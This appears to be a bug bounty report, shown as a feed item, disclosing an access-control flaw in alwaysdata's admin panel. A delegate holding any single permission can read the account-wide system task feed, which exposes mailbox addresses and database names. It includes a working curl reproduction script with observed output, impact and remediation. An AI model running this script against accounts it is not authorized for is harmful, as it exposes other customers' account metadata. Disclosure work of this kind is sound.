The 9 leaked rows include the account&amp;#039;s mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`),even though B is denied `/mailbox/` and `/database/` (403).



Also reproduced with each of SSL-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.



Impact: A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.



Remediation: Enforce a section-level check on `/task/` (and `/task/&amp;lt;id&amp;gt;/detail/`) — either a dedicated permission or filtering the task feed to the caller&amp;#039;s granted sections, the same way `/job/` already enforces `account_job`.

</description>
    <content:encoded><![CDATA[
<p>
# System tasks (`/task/`) readable with any single delegated permission — mailbox addresses and database names disclosed beyond granted scope
</p>

<p>
<strong>Severity:</strong> Medium — per program tier *&quot;Accessing permissions/config on user accounts without accessing content&quot;*
</p>

<p>
<strong>Summary:</strong> When a customer delegates a single permission on their account (e.g. &quot;Domains&quot;) to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The <strong>&quot;System tasks&quot; view is the exception</strong>: `/task/` and `/task/&lt;id&gt;/detail/` are accessible to any user holding <strong>at least one</strong> permission on the account — any permission works (Domains-only, <acronym title="Secure Sockets Layer">SSL</acronym>-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.
</p>

<p>
The dedicated &quot;Scheduled tasks&quot; permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it.<br />Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.
</p>

<p>
<strong>Affected <acronym title="Uniform Resource Locator">URL</acronym> / endpoints:</strong> - `GET <a href="https://admin.alwaysdata.com/task/" class="urlextern" title="https://admin.alwaysdata.com/task/"  rel="nofollow">https://admin.alwaysdata.com/task/</a>`<br />- `GET <a href="https://admin.alwaysdata.com/task/" class="urlextern" title="https://admin.alwaysdata.com/task/"  rel="nofollow">https://admin.alwaysdata.com/task/</a>&lt;id&gt;/detail/`
</p>

<p>
<strong>Repro (clean curl)</strong> — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:
</p>

<p>
```bash<br />BASE=<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a> A_EMAIL=&#039;owner@example.com&#039;      A_PASS=&#039;owner-password&#039;     # owns adtesta1 (account id 503524)<br />B_EMAIL=&#039;delegate@example.com&#039;   B_PASS=&#039;delegate-password&#039;  # second user, no access yet
</p>

<p>
csrf() { grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; &quot;$1&quot; | head -1 | cut -d&#039;&quot;&#039; -f4; }<br />login() { # $1=jar $2=email $3=password
</p>
<pre class="code">curl -s -c &quot;$1&quot; &quot;$BASE/login/&quot; -o /tmp/login.html
curl -s -b &quot;$1&quot; -c &quot;$1&quot; -X POST &quot;$BASE/login/&quot; -H &quot;Referer: $BASE/login/&quot; \
     --data-urlencode &quot;csrfmiddlewaretoken=$(csrf /tmp/login.html)&quot; \
     --data-urlencode &quot;login=$2&quot; --data-urlencode &quot;password=$3&quot; -o /dev/null</pre>

<p>
}
</p>

<p>
# — 1) Owner A grants delegate B ONLY the &quot;Domains&quot; permission on adtesta1 — login A.jar &quot;$A_EMAIL&quot; &quot;$A_PASS&quot;<br />curl -s -b A.jar -c A.jar &quot;$BASE/permissions/add/&quot; -o /tmp/grant.html<br />curl -s -b A.jar -c A.jar -X POST &quot;$BASE/permissions/add/&quot; -H &quot;Referer: $BASE/permissions/add/&quot; \
</p>
<ol>
<li class="level1"><div class="li">-data-urlencode &quot;csrfmiddlewaretoken=$(csrf /tmp/grant.html)&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;email=$B_EMAIL&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;account=503524&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;503524_account_domain=on&quot; -o /dev/null</div>
</li>
</ol>

<p>
# (checkbox name pattern is &lt;account_id&gt;_account_&lt;permission&gt;)
</p>

<p>
# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar &quot;$B_EMAIL&quot; &quot;$B_PASS&quot;<br />curl -s -b B.jar -c B.jar &quot;$BASE/&quot; -o /tmp/b.html<br />curl -s -b B.jar -c B.jar -X POST &quot;$BASE/&quot; -H &quot;Referer: $BASE/&quot; \
</p>
<ol>
<li class="level1"><div class="li">-data-urlencode &quot;csrfmiddlewaretoken=$(csrf /tmp/b.html)&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;change-object=account_adtesta1&quot; -o /dev/null</div>
</li>
</ol>

<p>
 # — 3) B reads the account&#039;s task feed — real data — curl -s -b B.jar -o /dev/null -w &#039;GET /task/ → %{http_code}\n&#039; &quot;$BASE/task/&quot;<br />curl -s -b B.jar &quot;$BASE/task/&quot; \
</p>
<pre class="code">| grep -o &#039;/task/[0-9]*/detail/&quot;&gt;\[[^]]*\][^&lt;]*&#039; \
| sed &#039;s|/task/\([0-9]*\)/detail/&quot;&gt;|\1  |&#039; | head -4</pre>

<p>
# 40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration<br /># 40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db<br /># 40720560  [adtesta1] Database creation MySQL: adtesta1_db<br /># 40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
</p>

<p>
# pick any task id shown in the list, then read its detail page:<br />curl -s -b B.jar -o /dev/null -w &#039;GET /task/&lt;id&gt;/detail/ → %{http_code}\n&#039; &quot;$BASE/task/&lt;id&gt;/detail/&quot;<br />curl -s -b B.jar &quot;$BASE/task/&lt;id&gt;/detail/&quot; | tr &#039;\n&#039; &#039; &#039; \
</p>
<pre class="code">| grep -oE &#039;&lt;th[^&gt;]*&gt;(Description|Opening date|Status|Involved account):&lt;/th&gt;[[:space:]]*&lt;td&gt;[^&lt;]*&#039; \
| sed -E &#039;s/&lt;th[^&gt;]*&gt;//; s|&lt;/th&gt;[[:space:]]*&lt;td&gt;| |&#039;</pre>

<p>
# Description: [adtesta1] Updating Apache configuration<br /># Opening date: Oct 1, 2026, 5:38:58 PM<br /># Status: Completed<br /># Involved account: adtesta1
</p>

<p>
# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do
</p>
<pre class="code">curl -s -b B.jar -o /dev/null -w &quot;GET $u -&gt; %{http_code}\n&quot; &quot;$BASE$u&quot;</pre>

<p>
done<br />```
</p>

<p>
<strong>Observed</strong> — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester&#039;s accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):
</p>

<p>
```<br />== 1) A grants B ONLY the &#039;Domains&#039; permission on adtesta1 (503524)
</p>
<pre class="code"> grant record: /permissions/493113/</pre>

<p>
== 3) B reads the System tasks of adtesta1 — real data shown below
</p>
<pre class="code"> GET /task/ -&gt; 200   rows leaked for [adtesta1]: 9   (own [adtestb1] rows: 11)
 --- rows of account adtesta1 as displayed to B ---
   40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration
   40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db
   40720560  [adtesta1] Database creation MySQL: adtesta1_db
   40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
 GET /task/40720409/detail/ -&gt; 200   --- page content as displayed to B ---
   Description: [adtesta1] Updating Apache configuration
   Opening date: Oct 1, 2026, 5:38:58 PM
   Status: Completed
   Involved account: adtesta1
 --- controls (same session) ---
 GET /domain/           -&gt; 200
 GET /mailbox/          -&gt; 403
 GET /database/         -&gt; 403
 GET /ssl/              -&gt; 403
 GET /account/usage/    -&gt; 403
 GET /job/              -&gt; 403</pre>

<p>
== 4) cleanup: remove the grant<br />== 5) verify restored
</p>
<pre class="code"> A grant records now: 493112
 B GET /task/40720409/detail/  -&gt; 404  (expect 404)</pre>

<p>
```
</p>

<p>
The 9 leaked rows include the account&#039;s mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`),<br />even though B is denied `/mailbox/` and `/database/` (403).
</p>

<p>
Also reproduced with each of <acronym title="Secure Sockets Layer">SSL</acronym>-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.
</p>

<p>
<strong>Impact:</strong> A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.
</p>

<p>
<strong>Remediation:</strong> Enforce a section-level check on `/task/` (and `/task/&lt;id&gt;/detail/`) — either a dedicated permission or filtering the task feed to the caller&#039;s granted sections, the same way `/job/` already enforces `account_job`.<br />
</p>
]]></content:encoded>
  </item>
  </rdf:RDF>
